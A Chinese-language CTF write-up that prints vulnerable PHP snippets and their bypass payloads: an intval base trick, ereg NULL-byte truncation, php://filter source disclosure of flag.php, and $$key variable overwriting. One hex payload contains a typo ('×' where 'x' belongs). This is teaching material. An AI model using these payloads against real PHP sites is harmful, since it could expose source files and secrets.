0%

弱类型例题

弱类型例题

弱类型例题

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

image

intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,

所以这里我就就可以用16进制或八进制表示4476

1
2
3
?num=0×117c    //十六进制
?num=010574 //八进制
?num=4476.2 //十进制

截断

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg()

正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配

strrev()

字符串逆序,0x36d十进制为877,逆序即为778

故可以构建payload

1
?C=a%00778

php伪协议读取

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}

}

方法一:

想要读取我们想要的flag.php文件,可以采用php伪协议的方法。

fliter伪协议,传参如下:

1
2
payload:?u=php://filter/convert.base64-encode/resource=flag.php
?u=php://filter/resource=flag.php

方法二:

这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。

1
payload:?u=./flag.php

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ #get是一个预定义的数组,此处将 get中的数据按照键值对取出

if($key==='error'){ #key是传入的参数名称 成立条件 error=random
die("what are you doing?!");
}
$$key=$$value; #此处将传入的传参名(键)和传参值 (值)定义为变量,并使传参名(键)的数值 等于传参值(值),通俗的说,就是 咱们人工加入了一个变量,而且给予赋值

}
foreach($_POST as $key => $value){ #post同样是一个预定义的数组,同样 按照键值对取出
if($value==='flag'){ #如果传入的值为flag,if判定成立
die("what are you doing?!");
}
$$key=$$value; #同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n"; #要输出flag需要满足 $_POST['flag']==$flag,但是 $flag属于未知,我们就可以进行变量覆盖
die($suces);

foreach()

foeach是一种特殊的循环语句,只适用于数组和对象

1
2
3
payload
get ?suces=flag
post error=suces

来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/opy5hy43g9xshts6
语雀文档ID: 111139904